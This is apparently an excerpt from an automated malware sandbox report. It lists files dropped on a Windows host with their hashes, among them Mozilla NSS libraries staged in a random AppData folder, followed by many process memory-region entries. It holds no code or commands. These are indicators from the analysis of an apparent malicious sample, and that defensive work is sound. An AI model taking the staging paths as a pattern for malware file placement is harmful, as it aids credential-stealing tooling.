\Users\Admin\AppData\LocalLow\gC9tT2iQ3s\freebl3.dllMD5
60acd24430204ad2dc7f148b8cfe9bdc
SHA1989f377b9117d7cb21cbe92a4117f88f9c7693d9
SHA2569876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97
SHA512626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01
-
\Users\Admin\AppData\LocalLow\gC9tT2iQ3s\mozglue.dllMD5
eae9273f8cdcf9321c6c37c244773139
SHA18378e2a2f3635574c106eea8419b5eb00b8489b0
SHA256a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc
SHA51206e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097
-
\Users\Admin\AppData\LocalLow\gC9tT2iQ3s\nss3.dllMD5
02cc7b8ee30056d5912de54f1bdfc219
SHA1a6923da95705fb81e368ae48f93d28522ef552fb
SHA2561989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5
SHA5120d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5
-
\Users\Admin\AppData\LocalLow\gC9tT2iQ3s\softokn3.dllMD5
4e8df049f3459fa94ab6ad387f3561ac
SHA106ed392bc29ad9d5fc05ee254c2625fd65925114
SHA25625a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871
SHA5123dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6
-
\Users\Admin\AppData\LocalLow\sqlite3.dllMD5
f964811b68f9f1487c2b41e1aef576ce
SHA1b423959793f14b1416bc3b7051bed58a1034025f
SHA25683bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7
SHA512565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4
-
\Users\Admin\AppData\Local\Temp\AE30.tmpMD5
50741b3f2d7debf5d2bed63d88404029
SHA156210388a627b926162b36967045be06ffb1aad3
SHA256f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c
SHA512fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3
-
\Users\Admin\AppData\Local\Temp\is-1M16P.tmp\idp.dllMD5
8f995688085bced38ba7795f60a5e1d3
SHA15b1ad67a149c05c50d6e388527af5c8a0af4343a
SHA256203d7b61eac96de865ab3b586160e72c78d93ab5532b13d50ef27174126fd006
SHA512043d41947ab69fc9297dcb5ad238acc2c35250d1172869945ed1a56894c10f93855f0210cbca41ceee9efb55fd56a35a4ec03c77e252409edc64bfb5fb821c35
-
\Users\Admin\AppData\Local\Temp\nsxA669.tmp\System.dllMD5
2e025e2cee2953cce0160c3cd2e1a64e
SHA1dec3da040ea72d63528240598bf14f344efb2a76
SHA256d821a62802900b068dcf61ddc9fdff2f7ada04b706815ab6e5038b21543da8a5
SHA5123cafce382b605a68e5a3f35f95b32761685112c5a9da9f87b0a06ec13da4155145bd06ffb63131bf87c3dc8bd61cb085884c5e78c832386d70397e3974854860
-
\Users\Admin\AppData\Local\Temp\nsxA669.tmp\nsExec.dllMD5
1139fb5cc942e668c8277f8b8f1e5f20
SHA194bbb2454dad420b70553c0fca4899f120d3ed43
SHA2569cb71f00c19397723d39861ff809c70f9d2cdbcf91b3dd8021060714512a39cb
SHA51208e8eb820801875208d9f28fb1416e0fc66abf5cc343e7ac973cc6736dbcd0f85b1bf42e8d110ad8c9a9ced204c00cf530099b8c411871762615051e1f7061d0
-
memory/816-149-0x00000000031C4000-0x00000000031C5000-memory.dmpFilesize
4KB
-
memory/816-143-0x0000000000000000-mapping.dmp
-
memory/816-146-0x00000000031C0000-0x00000000031C2000-memory.dmpFilesize
8KB
-
memory/816-150-0x00000000031C5000-0x00000000031C7000-memory.dmpFilesize
8KB
-
memory/816-148-0x00000000031C2000-0x00000000031C4000-memory.dmpFilesize
8KB
-
memory/948-224-0x000002607D100000-0x000002607D172000-memory.dmpFilesize
456KB
-
memory/960-354-0x0000000000000000-mapping.dmp
-
memory/960-367-0x0000000000000000-mapping.dmp
-
memory/1008-216-0x0000024AF7710000-0x0000024AF7782000-memory.dmpFilesize
456KB
-
memory/1088-222-0x000001FFCE870000-0x000001FFCE8E2000-memory.dmpFilesize
456KB
-
memory/1196-136-0x00000000011D0000-0x00000000011D2000-memory.dmpFilesize
8KB
-
memory/1196-128-0x0000000000000000-mapping.dmp
-
memory/1256-230-0x000001C9FE0A0000-0x000001C9FE112000-memory.dmpFilesize
456KB
-
memory/1348-200-0x000001BD98200000-0x000001BD98272000-memory.dmpFilesize
456KB
-
memory/1392-315-0x0000000002CC0000-0x0000000002CD7000-memory.dmpFilesize
92KB
-
memory/1436-226-0x0000029497B00000-0x0000029497B72000-memory.dmpFilesize
456KB
-
memory/1716-353-0x0000000000000000-mapping.dmp
-
memory/1868-228-0x00000223F2550000-0x00000223F25C2000-memory.dmpFilesize
456KB
-
memory/1968-114-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/1972-163-0x0000000000000000-mapping.dmp
-
memory/2104-120-0x0000000000000000-mapping.dmp
-
memory/2104-123-0x00000000023B0000-0x00000000023B2000-memory.dmpFilesize
8KB
-
memory/2140-286-0x00000000001F0000-0x00000000001FF000-memory.dmpFilesize
60KB
-
memory/2140-282-0x0000000000000000-mapping.dmp
-
memory/2140-287-0x00000000007C0000-0x00000000007D2000-memory.dmpFilesize
72KB
-
memory/2304-218-0x00000174F0280000-0x00000174F02F2000-memory.dmpFilesize
456KB
-
memory/2332-356-0x0000000000000000-mapping.dmp
-
memory/2340-220-0x000001B23FFB0000-0x000001B240022000-memory.dmpFilesize
456KB
-
memory/2488-213-0x000001ED2C1D0000-0x000001ED2C242000-memory.dmpFilesize
456KB
-
memory/2568-209-0x0000020869550000-0x00000208695C2000-memory.dmpFilesize
456KB
-
memory/2592-202-0x000001C46C2A0000-0x000001C46C2EB000-memory.dmpFilesize
300KB
-
memory/2592-204-0x000001C46D440000-0x000001C46D4B2000-memory.dmpFilesize
456KB
-
memory/3144-124-0x0000000000000000-mapping.dmp
-
memory/3144-126-0x0000000000400000-0x0000000000416000-memory.dmpFilesize
88KB
-
memory/3220-139-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/3220-129-0x0000000000000000-mapping.dmp
-
memory/3244-364-0x0000000000000000-mapping.dmp
-
memory/3572-210-0x000002D758590000-0x000002D758602000-memory.dmpFilesize
456KB
-
memory/3624-369-0x0000000000416232-mapping.dmp
-
memory/3920-274-0x0000000000000000-mapping.dmp
-
memory/3920-358-0x0000000000000000-mapping.dmp
-
memory/3948-135-0x0000000000000000-mapping.dmp
-
memory/3948-147-0x0000000002DA2000-0x0000000002DA4000-memory.dmpFilesize
8KB
-
memory/3948-141-0x0000000002DA0000-0x0000000002DA2000-memory.dmpFilesize
8KB
-
memory/3948-152-0x0000000002DA4000-0x0000000002DA5000-memory.dmpFilesize
4KB
-
memory/4032-119-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/4032-115-0x0000000000000000-mapping.dmp
-
memory/4128-352-0x0000000000000000-mapping.dmp
-
memory/4152-295-0x0000000000402F68-mapping.dmp
-
memory/4152-294-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/4280-238-0x0000000000000000-mapping.dmp
-
memory/4372-342-0x0000000000000000-mapping.dmp
-
memory/4380-166-0x0000000000000000-mapping.dmp
-
memory/4424-199-0x0000000004420000-0x000000000447D000-memory.dmpFilesize
372KB
-
memory/4424-198-0x0000000004320000-0x0000000004420000-memory.dmpFilesize
1024KB
-
memory/4424-167-0x0000000000000000-mapping.dmp
-
memory/4680-171-0x0000000000000000-mapping.dmp
-
memory/4684-313-0x0000000000000000-mapping.dmp
-
memory/4740-298-0x0000000000000000-mapping.dmp
-
memory/4740-366-0x0000000000000000-mapping.dmp
-
memory/4748-273-0x00000000030A0000-0x00000000030A2000-memory.dmpFilesize
8KB
-
memory/4748-276-0x00000000030A4000-0x00000000030A5000-memory.dmpFilesize
4KB
-
memory/4748-270-0x0000000000000000-mapping.dmp
-
memory/4768-214-0x0000019F22600000-0x0000019F22672000-memory.dmpFilesize
456KB
-
memory/4768-174-0x00007FF7977E4060-mapping.dmp
-
memory/4824-153-0x0000000000000000-mapping.dmp
-
memory/4888-301-0x0000000000000000-mapping.dmp
-
memory/4984-154-0x0000000000000000-mapping.dmp
-
memory/4984-157-0x00000000008A0000-0x0000000000935000-memory.dmpFilesize
596KB
-
memory/4984-158-0x0000000000400000-0x00000000004C4000-memory.dmpFilesize
784KB
-
memory/5024-357-0x0000000000000000-mapping.dmp
-
memory/5124-316-0x0000000000000000-mapping.dmp
-
memory/5192-368-0x0000000000000000-mapping.dmp
-
memory/5296-288-0x0000000000000000-mapping.dmp
-
memory/5388-193-0x0000000000000000-mapping.dmp
-
memory/5408-360-0x0000000000000000-mapping.dmp
-
memory/5420-306-0x0000000000000000-mapping.dmp
-
memory/5456-355-0x0000000000000000-mapping.dmp
-
memory/5540-347-0x0000000006F83000-0x0000000006F84000-memory.dmpFilesize
4KB
-
memory/5540-337-0x0000000007DD0000-0x0000000007DD1000-memory.dmpFilesize
4KB
-
memory/5540-269-0x0000000000000000-mapping.dmp
-
memory/5540-338-0x0000000007CF0000-0x0000000007CF1000-memory.dmpFilesize
4KB
-
memory/5540-340-0x0000000006F82000-0x0000000006F83000-memory.dmpFilesize
4KB
-
memory/5540-331-0x0000000000000000-mapping.dmp
-
memory/5540-339-0x0000000006F80000-0x0000000006F81000-memory.dmpFilesize
4KB
-
memory/5540-334-0x0000000006DC0000-0x0000000006DC1000-memory.dmpFilesize
4KB
-
memory/5540-335-0x00000000075C0000-0x00000000075C1000-memory.dmpFilesize
4KB
-
memory/5540-336-0x00000000074D0000-0x00000000074D1000-memory.dmpFilesize
4KB
-
memory/5544-361-0x0000000000000000-mapping.dmp
-
memory/5600-305-0x0000000000000000-mapping.dmp
-
memory/5608-344-0x0000000000000000-mapping.dmp
-
memory/5628-281-0x0000000000000000-mapping.dmp
-
memory/5640-321-0x0000000000000000-mapping.dmp
-
memory/5688-245-0x0000017F2B130000-0x0000017F2B17B000-memory.dmpFilesize
300KB
-
memory/5688-246-0x0000017F2B3D0000-0x0000017F2B442000-memory.dmpFilesize
456KB
-
memory/5688-307-0x0000017F2DA00000-0x0000017F2DB05000-memory.dmpFilesize
1.0MB
-
memory/5688-242-0x00007FF7977E4060-mapping.dmp
-
memory/5704-348-0x0000000000000000-mapping.dmp
-
memory/5724-351-0x0000000000000000-mapping.dmp
-
memory/5744-328-0x0000000000400000-0x0000000000D24000-memory.dmpFilesize
9.1MB
-
memory/5744-327-0x0000000001640000-0x0000000001F4A000-memory.dmpFilesize
9.0MB
-
memory/5744-324-0x0000000000000000-mapping.dmp
-
memory/5752-363-0x000000000041622E-mapping.dmp
-
memory/5772-350-0x0000000000000000-mapping.dmp
-
memory/5776-278-0x0000000000000000-mapping.dmp
-
memory/5776-293-0x0000000000400000-0x0000000002BF4000-memory.dmpFilesize
40.0MB
-
memory/5776-292-0x0000000004850000-0x00000000048E1000-memory.dmpFilesize
580KB
-
memory/5832-349-0x0000000000000000-mapping.dmp
-
memory/5840-365-0x0000000000000000-mapping.dmp
-
memory/5856-277-0x0000000000000000-mapping.dmp
-
memory/5940-317-0x0000000000000000-mapping.dmp
-
memory/5952-362-0x0000000000416266-mapping.dmp
-
memory/5980-162-0x0000000000000000-mapping.dmp
-
memory/6036-314-0x0000000000000000-mapping.dmp
-
memory/6072-359-0x0000000000000000-mapping.dmp
-
memory/6092-299-0x0000000000030000-0x000000000003C000-memory.dmpFilesize
48KB
-
memory/6092-289-0x0000000000000000-mapping.dmp
-
memory/6116-253-0x0000000003710000-0x0000000003720000-memory.dmpFilesize
64KB
-
memory/6116-247-0x0000000003570000-0x0000000003580000-memory.dmpFilesize
64KB
-
memory/6116-239-0x0000000000000000-mapping.dmp